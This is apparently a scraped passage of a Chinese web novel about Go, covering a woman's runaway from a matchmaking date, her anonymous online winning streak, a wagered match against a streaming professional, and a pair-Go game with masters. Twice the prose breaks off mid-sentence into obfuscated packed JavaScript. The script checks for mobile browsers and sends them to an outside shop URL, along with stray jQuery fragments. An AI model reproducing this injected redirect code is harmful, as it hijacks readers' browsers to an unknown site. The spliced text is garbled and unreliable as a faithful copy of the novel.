她意识到,如果谢砚之下得不好,她会失落,甚至有点生气:过着她梦想的人生,有着她不敢想象的机会,竟然还把棋下成这个样子。 但如果谢砚之下得好,好到惊世绝伦的程度,她会嫉妒得发狂,内心阴暗的角落里,有无数尖锐的声音在啸鸣: 这些,本来都应该是我的。 这局棋应该是我来下,这一步棋应该是我想出来,站在国际领奖台上的人,应该是那个没有在十二岁失去老爸、没有放弃围棋的庭见秋。 然而不同的选择已经在他们的人生里留下深深的印痕,将二人引向南辕北辙的道路,从此高山谷底,云泥两别。 若非谢砚之还惦念着少年时的对手,在“岁除杯”时偶听到她的名字,就垂手怜悯般地将她从人海中拾起,否则,就像浅湾中的鱼无法游到深海,他们永远无法重逢。 好在,如今她决定回来了。 最开始,是看到华国围棋协会发表公告,提高女子职业定段赛年龄上限,十几年没有碰棋的她起心动念;再后来,在老徐的撺掇下,她从紧张的生活费里匀出五十,交了“岁除杯”的报名费,重返赛场。 和丛遇英对战的第一局,她根本顾不上眼前趾高气昂的高中男生轻蔑的神情,像孩童时期将手埋在棋碗底部,任冰凉的塑料棋子淹没手背的那一刻,她幸福得如沙漠旅人终于掘出一捧清水。过去十几年被她强行压抑的对围棋的思念,一时间破土而出,发狂生长,将她一步步推向此时、此刻,与谢砚之并肩的火车车厢。 …… 棉服口袋里传来手机的震动来电声响。 看来季芳宴女士终于起床了。 庭见秋深吸一口气,在谢砚之有些幸灾乐祸的好笑眼神中,半闭着眼痛苦地接起了电话: “喂……” 电话里传来连一旁的谢砚之都听得一清二楚的凶恶咆哮: “庭、见、秋!” * 一早,季芳宴起床,准备好全家的早饭,坐在一楼的客厅里悠闲地看着电视。 二楼还没动静,也正常,现在的年轻人都起得晚。 这时,大门传来局促的敲门声,季芳宴起身,从贴身的裤兜里掏出拇指大的钥匙,开门。 是街上的孙建花孙大姐。孙大姐穿着一身大红袄,脸上学年轻人爱俏,涂了些不匀的白粉,还没说什么,嘴皮子已开始打架,一双手紧张地在胸前搓来搓去,像苍蝇的餐前祷告。 今天,按照计划,庭见秋就是和她家的侄子相亲。牌桌上,孙建花把她的心肝宝贝大侄子吹得天上有地下无,人才相貌一等一,事业风生水起全国闻名。季芳宴心痒,凑过去问了一句你侄子是干什么的,孙建花自豪地拍了拍厚实的胸脯: “运动员,为国争光的。” 季芳宴一时笑得喜庆,巴不得当场认了这个亲家。 她忘了当年自己找对象,要求是体格健壮孔武有力,最好么是个运动员,平日里自己最爱看体育频道了。媒人说没问题,包的,结果找来了一个一米六的下围棋的。小矮个一下棋桌就蔫头蔫脑,对着季芳宴的脸一句完整话都说不出来,额上冷汗直落。 货不对板,她看不上。 矮个结结巴巴地说,改天你来看我下棋吧。她左右周末没什么事,就去了一趟。 然后被矮个落子时劈啪作响的意气风发模样,骗了很多年。 “孙大姐这么早来啦,快请进,一起吃点早饭,我们家见秋还没起床。”季芳宴热情迎接。 孙建花还支吾着没开口,季芳宴已经风风火火地窜到二楼,喊人起床去了。 扑了个空。 二楼小阁楼里,窗户还大开着,带来的换洗衣服都不见了,桌上,一沓红色人民币用镇纸压着,晨风拂动,纸币边缘翩飞。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744955|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 丫头跑了,连一张纸条都没有留。 金蝉脱壳,一走了之,好啊,跟老妈用上三十六计了。 季芳宴强压怒气,深吸一口气,下楼应付孙建花。 下楼的那一瞬,季芳宴一秒变脸,满脸堆笑: “哎呀孙大姐你看这事,我那不争气的丫头,她大半夜,跑了!” 孙建花一愣。本来她厚着脸皮来敲季芳宴的门,就是想说自家侄子凌晨给她发消息,说有事先回江陵了,来不了相亲。这下,女方也放了鸽子。孙建花心下一松,把堵喉咙口里不成句的道歉吞下去,也不搓手了,跟着笑起来,学舌一句: “啊哈哈跑了跑了……” 季芳宴怕她不满意,从屁股兜里掏出手机,正色道:“孙大姐放心,这事我非给你个交代不可,你等着。” 然后当着孙建花的面,拨通了庭见秋的电话。 那边接得倒很快,也不挂电话,用“嗯哦啊”三字不变应万变,消极抵抗,任季芳宴把围棋损人害己没前途颠来倒去说了十分钟。 孙建花一旁听得胆战心惊。 要不是牌桌上,自己一时忘了自家侄子拿的是什么项目的世界冠军,象棋跳棋还是五子棋,说得语焉不详,不然挨这一顿毒舌快嘴的骂的就是自己了。 等季芳宴嚷嚷着“管不了你了气死我了”挂了电话,孙建花小心翼翼地: “围棋不也挺好,你家孩儿她爸当年不就是围棋……” 季芳宴一个眼刀抛过去:“死人的事哦伐要再提了。” 孙建花不死心:“最近下围棋有前途的哦,一个谈恋爱的综艺上不就有一个长得帅帅的小伙子,以前下围棋的,现在火了还接代言呢……”说着一指季芳宴手机的老年智能机。 孙建花说的是仇嘉铭七段,三十岁急流勇退,仗着首屈一指的皮相,上了个恋综,积攒了不少粉丝,季芳宴的手机就是他新接的代言。 季芳宴赶紧松手,把手机丢开一边,大骂晦气。 孙建花心中暗想,这相亲还好是黄了,不然高低得有一段腥风血雨。 * 火车靠站后,谢砚之一路将庭见秋送至江陵火车站门口,才将背包还给她。 庭见秋接过,对他一笑:“谢谢你啦。” “想表达感谢的话……”谢砚之掏出手机,“加我微信,帮我看看棋。” 庭见秋大大方方掏出手机亮出二维码,谢砚之走近两步,举起手机扫码。叮。 微信名是“见秋”,头像是一只黏土捏成的摇粒绒小猫,两脚开叉摆在桌上,龇牙咧嘴地装着凶。路上闲聊的时候,庭见秋说过室友罗佩佩非常擅长做手工,想必这就是罗佩佩的猫塑杰作。 谢砚之飞快掀起眼皮偷瞄她一眼。挺像。 直达江陵大学的公交车到站了,庭见秋背好包,朝他挥挥手道再见,快步向前,又想起什么,回身,一头浓密的卷发在晓风中猎猎而动。庭见秋大声喊道: “你是不是要去参加云松杯了?加油,谢砚之,好好下,给他们点颜色瞧瞧!” 谢砚之不语,淡笑着朝她挥手道别。 下了二十多年棋,登顶九段,名列国手。胜负、成败、有无头衔,甚至有没有棋下,于他早就没有那么多所谓了。 但这一刻,少女眼里灼热的光彩好像唤起了什么,让他心神微动。 居然真的想给谁点颜色瞧瞧。 8. 秋老虎[9D] “你好,我是谢砚之。” 12岁的庭见秋打开家里笨重嗡鸣的台式电脑,登上Q/Q,收到了谢砚之的好友申请。 一个等级处连小星星都没有的新号,网名就是本名,头像是系统默认的,一只看起来在发呆的紫色老鼠。 庭见秋大度地允许这个丑陋的新号加入自己的好友列表。 对方不在线,头像黯淡。想必是又下棋去了。老爸说过,像谢砚之那种水平,那种家庭,估计除了吃饭睡觉,时间都砸棋桌上了,一天最起码下十小时棋。 庭见秋问:“那我怎么不用下那么久?” 庭岘哈哈大笑,使劲揉揉她圆溜溜的小脑袋:“因为秋秋是小天才啊。” 庭见秋想了想,给离线的谢砚之发了一个坐标:四,4。 升段赛上,谢砚之走运抽中先手,如今她在网上约他再下一盘,非得占个先。 第二天,庭见秋上线时,看到图标处跳动着一只发呆的老鼠:十七,16。 谢砚之下在斜对角的小目。 庭见秋摩拳擦掌,回复了一个坐标,再点开发呆老鼠的资料卡,在备注处,用一指禅一个字母一个字母地戳上: 小燕子。 这局棋下了一百五十余手,你来我往,劫争正酣,这时,老妈说: “秋秋,家里缺钱用,那台电脑可能要卖了。” 庭见秋很顺从地接受了。只是有些懊悔,那局棋,那场纠缠不休、你死我活的劫争,她应该先消劫的。 这下这场棋,再也下不完了。 * 十三年后,他发来的好友申请仍是:“你好,我是谢砚之。” 家教好到连加个微信好友都要问声好。 他的头像不再是紫老鼠了。是一只水彩画成的梅花鹿,恣意横生的鹿角之上簪满鲜花。鹿有着一双乌黑澄净的眼睛,很像他。 正想着,谢砚之发来消息: 【四,5。】 庭见秋眼前一黑。一整宿,只在火车上小小地打了个瞌睡,困得头昏眼花,谢砚之都不让她喘两分钟,这就下起来了。 更何况,网棋这么便捷的当下,为什么还要像小时候一样,这么麻烦地下盲棋啊! 见秋:撤回,快撤回。 见秋:九段欺负业余,你不让子吗?最起码你让个先啊! 谢砚之很乖顺地撤回了。 然后发过来一个小黄豆委屈表情。 庭见秋瞪着小黄豆无语半晌,屈服了。 见秋:四,4。 * 罗佩佩去了男朋友老家过年,寝室空无一人。庭见秋把自己捯饬干净,又上床补了会觉,睁眼,便披衣背包,抱起笔记本电脑,去宿舍楼旁边的通宵自习室。 她在当下最热门的线上围棋网站弈世上,用自己的手机号,罗佩佩的手机号,师弟小明和师妹小媚的手机号,各注册一个账号,将棋力设置为6段,然后分别用四个号进入围棋大厅,等待匹配同等棋力的棋手。 小时候,她在棋室里下过四面棋。 所谓四面棋,四张棋桌扇形排列,她站在扇柄处,同时和四个对手下棋。四面棋只需要左右转动身子就可以应付,如果是五面棋、八面棋,甚至是十面棋,棋手甚至需要来回走动,非常消耗体力。 不到五十分钟,匹配到的四名棋手纷纷认输,屏幕上出现龙飞凤舞的“胜利”二字。 庭见秋一挑眉:网棋段位掺水了吧,对面这水平,有6段? 同时下四盘棋,还不够过瘾。 她只好又在师门群里敲了敲导师:“老徐,待会你会收到一个注册验证码,麻烦复制给我哈。” 徐潮平欣慰回复:“传说中的电信诈骗终于找上我这个老头了。” 师弟小明:“老师,这真的是师姐,刚刚我也帮师姐注册了……” 小媚:“加一。” 徐潮平:“糊涂啊,师门不幸,不会都被骗干净了吧!” 庭见秋比一个剪刀手,扬起无血色无表情的脸,自拍一张,发送到师门群里。 用老徐的手机号注册了第五个账号之后,庭见秋同时开着五个界面,上身半靠在椅背上,微垂着脑袋,手握鼠标,落子,切界面,像小时候下快棋,抢着拍棋钟,动作飞快。 偶尔自己的两个号匹配在一起,她只好随便下几步,认输按钮一亮起来就点,退出界面重新匹配。 几个小时之后,弈世的公聊灌水区一片哀嚎。 小胖爱围棋[6D]:今天6D什么情况?匹配了几个怪物…… 无冕之王[6D]:我也是,下不赢,根本下不赢。 天不生我王大海[6D]:职业选手不去参加云松杯预选赛,组团来网棋炸鱼来了? 甜甜向上[7D]:七段瑟瑟发抖。 社会你饼哥[6D]:谢谢大家,刚刚心态下崩了,差点把号注销了(微笑)。 咯咯哒咯咯哒[6D]:楼上7D小心一点,看这几个人的胜率,估计没几盘就升7了。 凡仔[7D]:……已经匹配到了,特么太强了,布局就没占到一点便宜,中盘直接全崩了。 庭见秋第一次上弈世,只会匹配下棋,没发现公聊区。自习室外早已黑透,星子明亮,晚风凄凄。庭见秋一数今天已经下了四五十盘,揉揉饿空的肚子,站起身来伸个懒腰,出门买里脊蛋饼吃。 里脊蛋饼,六块一个,生菜可以免费加,价格便宜、营养均衡,穷鬼上上选。 一边啃饼还要一边回复微信上的小燕子。和他下棋,比在网上同时和五个人下棋,还有费神费劲千倍。 * 春节余下几天,除了一天吃两顿饭,回寝室洗个澡再睡五个小时,她抱着一台笔电,整个人在通宵自习室里扎了根。 偶尔有认识她的同学,提前返校,路过通宵自习室,看她没日没夜地守着个座,进来打声招呼: “秋秋这么用功,发刊还是申博……诶哟我去五子棋玩这么半天。” 庭见秋抬起下巴,露出疲惫青紫的眼窝,半开玩笑地翻一个不客气的白眼。 她的五个号,在弈世的等级涨得很快,两个已登顶9段,剩下三个也在8段升9段的边缘。 她这才明白,网棋的等级和现实中的围棋等级并不是一回事。现实中的业余5段,就可以在弈世注册一个9段的账号。不少职业棋手在弈世上也有账号,也显示9段,但往往会实名认证,头像下有一个V字型的红标,资料处有对职业棋手的介绍。 随着等级渐涨,遇到的对手也顽强起来。她不敢轻敌,放弃五面棋,只登用自己手机号注册的账号,一对一地认真作战。 弈世的9段内部实力差异很大,她匹配不到职业棋手,就挑对局多、胜率高的对手挑战。 网棋终于变得好玩了。 * 春节长假即将结束,仇嘉铭七段胡吃海喝、逍遥自在地过了个节,决定上个直播回回血。 两三年前,下棋逐渐下不出成绩的时候,曾经的老师便有些惋惜地对他说:如果打比赛的路行不通,你不如想想别的靠围棋赚钱的法子,你个性活络,一定有办法。 他吞下一句不甘的“我还想下棋”,从善如流,注册了一个直播账号,隔三差五就在直播间里下下棋,聊聊天,吹吹牛。 围棋是小众圈子,直播间里观众并不多,但总有人知道他十年前横扫三个头衔、以最年轻的棋手身份闯入“森田杯”决赛的传奇经历,愿意给他打赏点礼物,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744956|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他近况。 他的直播事业,在他接了个恋综之后,一飞冲天。 春节几日不上号,私信里堆满了问他为什么时候直播的人,有围棋爱好者,也有纯粹觉得他长得帅、说话好笑的路人。只要肯刷礼物,他来者不拒,兴冲冲地登陆直播间。 直播间观众人数迅猛上涨。仇嘉铭一边调试着设备,一边油嘴滑舌地和观众们打招呼,又挑几个熟悉的ID问了好,没聊几句,就发现一桩怪事。 好几个观众都在问:老仇,你知道“秋老虎”吗? 仇嘉铭困惑:“秋老虎是谁?” 聊天框瞬时涌起一排排回复: 【老仇也不认识吗?还以为是你们职业棋手圈的来炸鱼,也没实名。】 【才下了个七八天就6D升9D了我滴个妈……】 【老仇为我做主啊,我被杀得好惨啊,赢十目和赢五十目不都是赢吗,她非要逮着我净杀,我手抖得认输都按不下去啊老仇……】 仇嘉铭看明白了,一拍桌子,仗义道:“弈世上的是吧?我来试试他什么水平。” 【老仇真是一款贴心娘家人,有仇他真报。】 【老仇年纪大了,动作小点,小心闪着腰。】 仇嘉铭嘴上嘟囔着“正当壮年不要唱衰”,熟练地登上自己的弈世账号。他的账号经过了实名认证,头像下一个闪亮的红V,ID边有一行介绍身份信息的小字: 【仇嘉铭职业七段】 “秋老虎”并不难找。弈世的首页上,挂着他临时匹配的棋室。他正在和另一名弈世9段的用户下棋,有两百多人在网络棋室中围观,赌棋押宝,在聊天框里讨论战况。 仇嘉铭点了进去。 聊天框底下,亮起一排独属于职业棋手的红字: 【仇嘉铭[9D] 已进入棋室】 聊天框里的棋友们立时将目光转移向仇嘉铭: 【老仇来啦!】 【老仇押谁胜?】 【老仇也听说了秋老虎?】 弈世有赌棋的玩法。围观的棋友可以将签到、赢棋、做任务所获得的虚拟币,压在其中一方上,如果自己支持的一方赢棋,就可以取得押在战败方上的虚拟币。 仇嘉铭将脸凑向屏幕,审视棋局。 此时正值中盘,厮杀激烈,但战况很明确,传说中的秋老虎执黑,稳操胜券。 仇嘉铭大手一挥,在秋老虎处押了五千弈世点。 【老仇豪气啊!】 仇嘉铭对着麦嘿嘿一笑:“一会就回本了。” 仇嘉铭指了路,态度异常清晰,一时无数棋友涌进棋室,跟着买秋老虎胜。 白方也是弈世的老用户,有自己的支持者。事已至此,押了白方的棋友只有在聊天框里欲哭无泪大骂退点。 仇嘉铭也没闲着,拉动屏幕下方的进度条,飞快地看了双方的棋路,向直播间的观众大致讲解一遍,聊到最后,白方正好认输。仇嘉铭切到后台,点开系统发送的赌棋胜利通知。形势太一边倒,赢不了太多筹码,仇嘉铭也无所谓,乐呵呵地唠嗑: “挺好挺好,一点点也是赚。这秋老虎呢,杀棋很凶,但其实自己的地蛮薄的,只要能耐住性子,牵制住局面,能下赢。……咱们职业棋手当然能应对这种下法,控盘能力比较强的那几个,老一辈的元修明老师,应礼老师,年轻一辈的沈文立,江涛,还有你们老爱念叨的小谢谢砚之,都克他。” 语罢又装模作样地晃晃脑袋:“可惜你们看不到谢砚之下网棋,只能老仇给你们出出气咯。” 说着点击“秋老虎”的头像,发送对局邀请。 五秒之后: 【秋老虎[9D]拒绝了您的对局邀请。】 仇嘉铭:啊? 9. 赌棋 庭见秋发现,自己下棋的时候,左上角小人旁边的数字越来越多了。下完棋之后,还会收到一些对局申请的弹窗。 照理说,她对于对局邀请,来者不拒。但下了几盘他人主动相邀的棋之后,她发现这些人很怪,不好好下棋,一直在右下角的聊天框里发一些文字,问她的个人隐私。 庭见秋纳罕:我是男的还是女的,职业还是业余,华国人还是外国人,跟这局棋有什么关系? 烦了,一百手之内摁死。 之后,对局邀请一弹出来,她就点叉,照旧走她的匹配路。 匹配虽然水平不定,也有概率匹配到问这问那的怪人,但比别有用心的对局邀请还是强多了。 仇嘉铭的对局邀请也被归入别有用心之列。 不过要说别有用心,他确实是——直播间里几百位观众老爷等着他帮忙出气呢。 仇嘉铭好脾气地又点了一次对局邀请,再次惨遭拒绝,一张浓眉大眼的俊脸上是挂不住的尴尬。 直播间的观众幸灾乐祸:【今晚切片素材有咯。】 “没事啊,没事。哥们有钞能力。” 仇嘉铭点进弈世的公聊区,大手笔地充值五十块钱,购买十个大喇叭,把同一句话发了十遍: 【@秋老虎我是仇嘉铭,求你和我下一局!】 瞬间,网站的页面上,十个硕大的文字泡泡挤满了屏幕,温吞地从屏幕左侧,摇摇晃晃地移到屏幕右侧,在碰到屏幕右侧边缘的时候,噼啪破碎。 直播间聊天室:【……我们老仇在华国围棋花里胡哨窝囊废的赛道上的确是独树一帜。】 半分钟后,公聊区出现了秋老虎的身影。 秋老虎:可以。 秋老虎:但要赌棋。 * 庭见秋被满屏文字气泡攻击的瞬间,差点以为是自己睡眠太少出现幻觉了。她想起来,刚刚自己确实好像连着拒绝了一个叫仇嘉铭的用户,而那个用户的头像下面,有个V型红标。 不能怪她手快,那家伙头像是一张龇牙傻笑的大脸自拍,任何人看了都会在第一时间点“拒绝”的。 有机会和职业选手下一盘棋,她已经心痒。更何况这家伙明显人傻钱多,而她已经快花完从家里带来的钱,要捱到月中才能收到每月的助学补贴。 仇嘉铭答应得很痛快,第三次发来了对局申请。 这一次,庭见秋点了“同意”。 一张十九乘十九的围棋棋盘在屏幕上展开。棋盘上方是对局信息,庭见秋执黑,仇嘉铭执白。左上方显示着不断攀升的房间内人数。右下角是聊天框,可以切换成私密和公聊两种形式,私密对话只有对局中的二人可见,公聊对话则显示所有围观群众的吐槽。 两人布局阶段都下得很快。庭见秋擅长走三连星,大模样,定型之后迅速展开攻击,仇嘉铭则棋则路灵活得多,攻防兼备,试探庭见秋的回应。 二十手之后,仇嘉铭忍不住在聊天框里发: 【hi】 没有收到任何应答。 直播间不仅笑话他,还揪出他的黑历史: 【秋老虎不会是个女棋手吧,毕竟上一次咱们老仇被拒绝得这么惨,还是在恋综,五个女嘉宾,一个选他的都没有。】 仇嘉铭开着东北腔,混不吝地找补:“女嘉宾们只是不吃我这款的,更喜欢跟我做朋友,纯欣赏,纯友谊,懂不?” 一边下着,一边和观众聊了几句,又读了几条刷礼物的评论,仇嘉铭暗想今晚收益不错,突然看到一条留言: 【老仇,别聊了,要输棋了。】 他已经很久没有参加过重量级的比赛,围棋于他而言,逐渐从职业变成了一场游戏。即便如此,他看到“输棋”二字,像巴甫洛夫的狗,心里还是会突地重重一跳。 回到棋面上,他细细重审棋路,越看越心惊:虽然他成功抵挡住了秋老虎的每一波攻势,但不知不觉间,他的白棋在猛攻之下,碎得不成形状,不仅失去向中腹发展的潜力,还有被黑棋吞吃的危险。 他刚刚竟还评价秋老虎的棋“薄”。 这样一柄见血封喉的越王剑,守势早已蕴于攻势之中,越薄才越见其锋芒。 仇嘉铭面上营业多年的嬉皮笑脸不知不觉淡去,手扶着下巴,摩挲着青色胡渣,垂眼看棋,脑中飞快计算着变化。走神直播时,的确下了几手昏招,好在他基础厚,尚且有补救的机会。 【我去,这是……老仇?十年前的仇嘉铭七段回来了?】 【真正值得切片的素材出现了!】 后半局的仇嘉铭表现出惊人的顽强。他职业生涯的经验是,秋老虎这样的强攻手,讲究攻心为上,擅长在一百手左右发动奇袭,令敌方丢盔弃甲,以为全然无望,自己认输。其实只要能在这样的攻势下站稳脚跟,等待对手的失误,并非没有翻盘的可能。 可惜秋老虎的关键失误并没有出现。 这盘棋一直缠斗至官子,二人收完最后一处单官,分别同意数子,秋老虎三目取胜。 两个半小时,三百二十余手,仇嘉铭精疲力尽,整个身子后仰在椅背上,长长地舒了口气。 输了,但是很过瘾。上一场这样紧张到每一个毛孔都在往外渗冷汗的对局,他已经记不清了。恋综,直播,还签了个娱乐行业的经纪人,他都快忘了自己是个棋手,以及,围棋能好玩到这个地步。 仇嘉铭缓过气来,鲤鱼打挺起身,在私聊区里热情赞美:“秋老虎,赢得漂亮!” 秋老虎这回没有无视他:“你是不是中途换人了?” 仇嘉铭:“冤枉啊青天大老爷!” 秋老虎倒很好说话:“好吧。” 半晌又发来:“你别忘了这是赌棋。” 仇嘉铭知道弈世赌棋的规矩,立马用弈世点包了个心意满满的大红包。 秋老虎:这个不能买饼吃。 秋老虎:[图片] * 庭见秋不知道自己是在一场近千人收看的直播间里发了自己的收款码。 这是她今天的最后一盘棋,下完,收工,回寝室洗澡睡觉,天不亮还要起床练习打谱,之后又是一天的网棋实战。 一小时后,她洗漱完,睡前再次打开了手机。她没说要和仇嘉铭赌多少,其实也没认真,不知道那个人傻钱多的仇嘉铭会不会真给她打钱。 然后看着手机里大大小小五十余笔款项陷入沉思。 她好像没窘迫到这个地步。谁替她开通了水滴筹? * 元宵当日,庭见秋给自己放了个假,接受师弟师妹的委托,作为师门代表,去徐潮平家中拜年。 一进门,却发现老徐家里不是只有老徐和师母,还有两位老先生,一高一矮。 个小的她见过,“岁除杯”那天,杨惠子向她介绍说,这是江陵棋院的院长祁同贤,开幕式上显得拘谨的老先生,私下里却乐呵呵的,看起来开朗随和;另外一位,面容方阔,鼻如鹰钩,神情穆然,额上纹理幽深,戴一副看起来很有重量的大理石纹黑框眼镜,嘴角向下似不悦地抿着。她觉得有些眼熟,却又想不起来是谁。 角落里,还立着个熟人,穿着绵羊似的蓬松柔软的白毛衣,下身是学生气的修身长裤,额发略长了些,软软地塌在额头上。见到她进门,熟人笑眯眯地竖起手心,打了个招呼。 庭见秋来不及错愕谢砚之怎么会在这里,先向老师和师母拜了年。 老徐挨个介绍:“这是老祁,这是老赵,都是我牌友啊,铁的。” 一旁谢砚之长腿一迈,凑到她身边,小声补充:“祁院长你见过,另一位是我的老 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“你小时候,我还来你家找老庭下过棋。你妈妈身体还好?” 庭见秋神情一滞,仍笑着回答:“妈这几年好很多了。” 赵良甫心知这是逞强的说法,并不细问,又转头和祁同贤、徐潮平,照旧聊他们的。 * 谢砚之将庭见秋引到一旁,二人帮着师母做些杂事,一边小声聊起来: “你怎么回江陵来啦?不是在岳州参加云松杯预选赛吗?” 谢砚之答:“我积分高,赢两盘就直接入围了,等五月正式赛再过去。” 云松杯是国内规格最高的大赛,赞助丰厚,奖金豪横。棋手由所属的棋队报名,代表棋队参赛。预选赛决出32名棋手,在正式赛中,两两抽签,一共五轮,单败淘汰。最终,不仅会决选出一二三等奖,还有最有价值棋手、最具实力棋队等头衔。 然而谢砚之语气淡得好像入围了云松杯这种国内顶级赛事、与一百八十万的奖金仅一步之遥,也都没什么所谓一样。 庭见秋悄悄向他比一个大拇指:“恭喜哦,不愧是谢国手。” “哪里哪里,随便下下的,莫名其妙就赢了。” 庭见秋被谢砚之一噎,一时觉得眼前这媒体盛赞的棋中君子,不知怎地有些气人,帮着师母择菜的手略痒,想挠花那张总带着标准到有点假的笑容的漂亮脸。 谢砚之目光移向不远处那双把着青绿葱条的手。匀净细长,蠢蠢欲动,不安分的猫爪子。棋桌上最是凶悍骇人。此时却软软地垂落着,指节处凝了水珠。 他用低得听不出情绪的声音探问: “你是不是又瘦了?” 庭见秋不明所以,顺着他的眼神,竖起手腕,别过脸瞅着。这阵子太累,是有点瘦过头了。想起前阵子谢砚之还一番好意,让她备战定段赛的时候多吃一些,她全当了耳旁风,有些惭愧地摸摸鼻子:“一下棋就忘了吃饭。” 赵良甫听见角落里二人窃窃私语,不知在说些什么,又转向他们:“砚之怎么认识的老庭的女儿?” 庭见秋答:“小时候比赛见过。” “我是她的手下败将。”谢砚之又扬起一张笑面。 赵良甫一愣,辨不出谢砚之是不是玩笑话:“这么厉害?” 于是向庭见秋指了指客厅茶桌上的棋盘: “刚刚我们说要和你老师下联棋,还搬来一个砚之陪他,你老师推三阻四不肯……” 老徐抓狂:“这不狸猫拿我当耗子逗着玩吗,我折了一条老命也下不过您二老啊。” 赵良甫手指抵着木质棋盘,仍向庭见秋: “老徐胆细,没意思,你会下,你来替他。” 10. 联棋 所谓联棋,即一块棋盘摆在正中,四名棋手两两分组,相向而坐,按照黑棋甲棋手、白棋甲棋手、黑棋乙棋手、白棋乙棋手的循环顺序落子。 对弈过程中,对阵营棋手不能通过落子以外的方法传递意见。 庭见秋和谢砚之执黑,并肩坐在一侧,无言地交替落子。 长辈只当联棋是游戏,一边下一边斗嘴、推搡。 “赵良甫!你往这一下,连带着我的棋都被熏臭了!”祁同贤揪住身旁瘦老头的袖口大叫。 赵良甫的嘴角无奈牵动一下:“师兄的意思是,这里的棋筋不救了?” “这可是我铺垫多时的奇兵,师兄和你心连心,你把师兄的谋划全毁了!” “下错了就下错了,还奇兵,也不怕在小孩面前丢人。” 庭见秋和谢砚之不动声色地对望一眼,都是一脸藏笑,又规矩地飞快移开视线。 嘴上虽喊着臭,掐得天昏地暗,两位老棋手落子可谓狠辣得如出一辙,有一种相知多年的自然默契,加上熟悉谢砚之的棋风,招招制着黑棋的发展。唯有庭见秋的棋势,如摩西划开红海的权杖,每当谢砚之似被两位老师有些牵绊,庭见秋便落子破局。 中盘,见白子实地渐厚,庭见秋在白子一处小飞之间,大胆一靠,寻求打入。在这里靠断,乍看是无理一手,却与不远处的黑子形成呼应,处理不当的话,白棋确实有被破空的危险,教祁同贤连连拊掌发出大笑:“好好好!有意思!” 每当庭见秋行棋过分冒进,谢砚之又会不声不响地补棋,如暗水流花/径,悄然挽回。二人棋风大相径庭,却一动一静,一攻一守,进退有据,切磋琢磨之间,配合得宜。 老徐拎了把凳子来,坐在牌友一侧,看得入神,嘴上嘬嘬作响。 和正在联棋的棋手相比,老徐还不算入门,仍能感觉到棋桌上局势转瞬万变,令人心惊肉跳。 黄昏时分,厨房里传来师母煮芝麻汤圆的香气,这一局联棋终于收官告结。虽然庭见秋落子很有创见,毕竟在计算和大局上不如两位老棋手有经验,最终庭见秋和谢砚之还是在实地上有所落后。 谢砚之有些不好意思地:“两位老师,不用数子了,我们输了。” 庭见秋也略有些失落,垂着头不语。 祁同贤眯眼笑道:“就是玩玩,怎么还给小朋友下不开心了?是不是觉得老头没给你压岁钱?” 庭见秋这才绽出笑意,一双狭长上挑的狐狸目,笑时显得格外机敏有神: “没有,谢谢祁院长和赵老师的指点,我学到很多。” 这阵子,她都在下网棋,一是对手良莠不齐,二是网棋时限紧张,往往来不及深思,凭棋感落子,久而久之便越下越急躁。今天这盘联棋,两位老师形成了复杂的战斗,还有谢砚之始终在一旁控制节奏,她渐渐将从网棋上学来的落子太急的毛病,祛了个七八成。 赵良甫良久不语,还静静望着盘面出神,半晌,他点了点庭见秋落在小飞之间的靠断,向祁同贤道: “师兄,你看这手棋,像不像之前老庭的下法?” 祁同贤定睛看,一愣,又是大笑:“我说怎么觉得熟悉!就是老庭那个贪吃的冒失鬼,会下出这么险又这么棘手的棋来!” ——贪吃,好胜,冒失鬼,杀气太甚。 久远得有些模糊的老爸的声音,在庭见秋心下响起。 她依稀记得,童年时,有小棋童来家里找老爸拜师,老爸个不高,却很威严,总是瞪着眼训话,吓哭好几个。唯独教她学棋的时候,知道她贪玩好动,总是在椅子上不安分地扭来扭去,老爸只好把两三岁的她抱在怀里,哄着要她看棋,任她软软的胳膊,搂着自己的脖子耍无赖。她记得老爸衣领和颈窝处的廉价香烟的气味,有些臭臭的,但是她一闻到就咯咯笑。偶尔,小庭见秋愿意高抬尊手,下两步棋,老爸都乐得不行,抓着她的小手掌,用冒着粗粝胡渣的下巴来回磨蹭,叫她小天才。她下得凶了,失分寸了,老爸就会无奈地批评她:贪吃,好胜…… 原来,在别人看来,老爸下棋也是个冒失鬼啊。 庭见秋蓦地失笑。 谢砚之身子向前微倾,向两位老师恳切地说道: “祁院长、赵老师,庭见秋预备七月去参加职业围棋定段赛,您二位或许能给她提供一些指导吗?” 意思是要撺掇她拜师了。 庭见秋赶忙站起身来,向祁同贤和赵良甫重重一躬身,脑袋几乎要砸到棋面上。 祁同贤望着庭见秋微笑,赵良甫沉吟片刻,斟酌道:“你是庭岘的女儿,庭岘一手教大的,棋路已经定了,偶尔和我切磋一下还说得过去,要说收徒,我没有这个本事。” 赵良甫说得很清楚,没有转圜的余地,庭见秋道声“谢谢老师”,只好又直起身乖乖坐下。 “……不过,”祁同贤笑眯眯地发话,“我们棋院也不是没有女棋手的宿舍嘛。你要准备冲段,不如和我们的小棋手一起训练,有什么摆棋摆不明白的地方,老赵也在棋院,还能看着点。” 谢砚之似舒了一口气,问:“学费是按棋院的规矩,一次付净半年?” 棋院并没有招收成人女棋手的先例,费用的确是一个问题。更何况庭见秋家境并不宽裕。 